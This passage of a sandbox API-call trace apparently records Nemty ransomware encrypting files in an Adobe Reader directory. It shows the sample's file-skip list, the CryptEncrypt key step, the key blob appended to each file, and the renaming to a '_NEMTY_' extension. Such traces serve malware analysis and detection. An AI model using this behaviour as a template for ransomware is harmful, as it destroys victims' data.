out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0216.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bulphon.env", lpUsedDefaultChar=0x0) returned 11 [0216.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0216.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bulphon.env", lpUsedDefaultChar=0x0) returned 11 [0216.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0216.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bulphon.env", lpUsedDefaultChar=0x0) returned 11 [0216.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0216.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bulphon.env", lpUsedDefaultChar=0x0) returned 11 [0216.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0216.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0216.845] Sleep (dwMilliseconds=0x5) [0216.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34e46d30, dwHighDateTime=0x1d561e8)) [0216.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34e46d30, dwHighDateTime=0x1d561e8)) [0216.854] GetLastError () returned 0x0 [0216.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.854] GetLastError () returned 0x0 [0216.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.854] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.854] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.854] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.854] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="iqkArsijEHlBZSXM/yixRs4J1ggpKvpootBx4XqhQsj/ltehXK8ZVPRv6I6ZxPHg\r\nhjXjuRlU3Skol4F3X0ftf6UZtQoUAY/b/G7Q5SwT2ts6DneO4xivQs6MU3h9qA5R\r\nyjsyHeZlh0ExyeXYmF6s9egqAFy/IdyXczo58NfuHP5rzZ3U0rsKPVHihC2LldBd\r\ng9yYqJlGCgwEGp4FhlEsKmWS5M7zb1TStnRq4fUqwCniTF3yzTigwefMTHZDB1e2\r\npvLbhQrRVhar+2DlORuOe7oyHljEhHrHZDAfOsw1JJvEez8VSQ70AY//IiH3F6e7\r\nj/Tkj6t2iLBL7qkDwm4FTQ==\r\n", pcchString=0x653df5c) returned 1 [0216.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bulphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.855] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=5168) returned 1 [0216.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1430) returned 0x6354c48 [0216.855] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.855] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x1430, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x1430, lpOverlapped=0x0) returned 1 [0216.857] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.857] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x1430, lpOverlapped=0x0) returned 1 [0216.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.857] SetFilePointer (in: hFile=0x320, lDistanceToMove=5168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0216.857] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.857] CloseHandle (hObject=0x320) returned 1 [0216.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0216.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0216.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0216.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0216.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.858] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bulphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bulphon.env._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bulphon.env._nemty_kgobjgd_")) returned 1 [0216.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0216.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0216.858] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1240, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="can.fca", cAlternateFileName="")) returned 1 [0216.858] lstrcmpiW (lpString1="can.fca", lpString2=".") returned 1 [0216.858] lstrcmpiW (lpString1="can.fca", lpString2="..") returned 1 [0216.858] lstrcmpiW (lpString1="can.fca", lpString2="...") returned 1 [0216.858] lstrcmpiW (lpString1="can.fca", lpString2="windows") returned -1 [0216.858] lstrcmpiW (lpString1="can.fca", lpString2="$RECYCLE.BIN") returned 1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="rsa") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="NTDETECT.COM") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="ntldr") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="MSDOS.SYS") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="IO.SYS") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="boot.ini") returned 1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="boot.ini") returned 1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="AUTOEXEC.BAT") returned 1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="ntuser.dat") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="desktop.ini") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="CONFIG.SYS") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="RECYCLER") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="BOOTSECT.BAK") returned 1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="bootmgr") returned 1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="programdata") returned -1 [0216.859] lstrcmpiW (lpString1="can.fca", lpString2="appdata") returned 1 [0216.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.fca", lpUsedDefaultChar=0x0) returned 7 [0216.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.fca", lpUsedDefaultChar=0x0) returned 7 [0216.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.fca", lpUsedDefaultChar=0x0) returned 7 [0216.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.fca", lpUsedDefaultChar=0x0) returned 7 [0216.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0216.859] Sleep (dwMilliseconds=0x5) [0216.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34e6ce90, dwHighDateTime=0x1d561e8)) [0216.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34e6ce90, dwHighDateTime=0x1d561e8)) [0216.869] GetLastError () returned 0x0 [0216.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.869] GetLastError () returned 0x0 [0216.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.869] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.869] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.870] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.870] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="EfbugyTeubSWa0HxFDLOcczasQ8CmDwbaztcv9JSt1ftpv866Jn9lLKfALbBvnxK\r\nN+wW3iz8QX77vaQIxu/efnGjOuOC3/kuP0ZlEVXjJ2ntkgSrEM7KZ2Iqdrp+D7pr\r\ni8Ov6hgbkh/J3FLnMHhZ3fGAZ1qASYL0/ozzxEM03xJ+6zX87Qninb0g7ulx864b\r\nLXNETZOe+iUrfh00KXVOaYDzcYCoya/i2TIxzl2gXyJ/B+5bUFrSm1k+OW4KujuE\r\n9M/WON2g/f1nTZc41z11vbk0ilxkXO3Kt2X/Rqj4oQBQcSxXoKMogXI5Db0OJDKw\r\nATXE+GRKj2JKyh+w5Zt5mA==\r\n", pcchString=0x653df5c) returned 1 [0216.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0216.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.870] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.871] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=4672) returned 1 [0216.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1240) returned 0x6354c48 [0216.871] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.871] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x1240, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x1240, lpOverlapped=0x0) returned 1 [0216.873] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.873] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x1240, lpOverlapped=0x0) returned 1 [0216.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.873] SetFilePointer (in: hFile=0x320, lDistanceToMove=4672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1240 [0216.873] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.873] CloseHandle (hObject=0x320) returned 1 [0216.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0216.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.874] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can.fca._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can.fca._nemty_kgobjgd_")) returned 1 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.874] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a400, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="can.hyp", cAlternateFileName="")) returned 1 [0216.874] lstrcmpiW (lpString1="can.hyp", lpString2=".") returned 1 [0216.874] lstrcmpiW (lpString1="can.hyp", lpString2="..") returned 1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="...") returned 1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="windows") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="$RECYCLE.BIN") returned 1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="rsa") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="NTDETECT.COM") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="ntldr") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="MSDOS.SYS") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="IO.SYS") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="boot.ini") returned 1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="boot.ini") returned 1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="ntuser.dat") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="desktop.ini") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="CONFIG.SYS") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="RECYCLER") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="BOOTSECT.BAK") returned 1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="bootmgr") returned 1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="programdata") returned -1 [0216.875] lstrcmpiW (lpString1="can.hyp", lpString2="appdata") returned 1 [0216.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 